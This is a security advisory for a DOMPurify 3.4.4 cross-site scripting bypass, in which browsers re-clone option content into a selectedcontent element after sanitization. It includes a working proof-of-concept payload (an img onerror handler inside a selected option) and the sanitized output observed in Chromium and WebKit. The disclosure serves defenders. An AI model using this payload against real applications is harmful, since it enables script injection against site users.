CVE-2026-47423 — dompurify
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Summary
DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.
Details
The chain is as follows:
- The browser parses the input and creates a
<selectedcontent>clone from the selected<option> - DOMPurify walks and sanitizes that generated clone.
- DOMPurify reaches the original
<option>and removesselected=javascript:1 - The browser refreshes the
<selectedcontent>clone from the originaloption's content. - The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize
- The returned string contains unsanitized markup inside
<selectedcontent>.
PoC
const dirty =
'<select><button><selectedcontent></selectedcontent></button>' +
'<option selected=javascript:1>' +
'<img src=x onerror=alert(1)>x' +
'</option></select>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
document.body.innerHTML = clean;
Observed "sanitized" output in Chromium 148/WebKit 625:
<select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>
After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired:
<select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>
Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.
Impact
This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.
Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.
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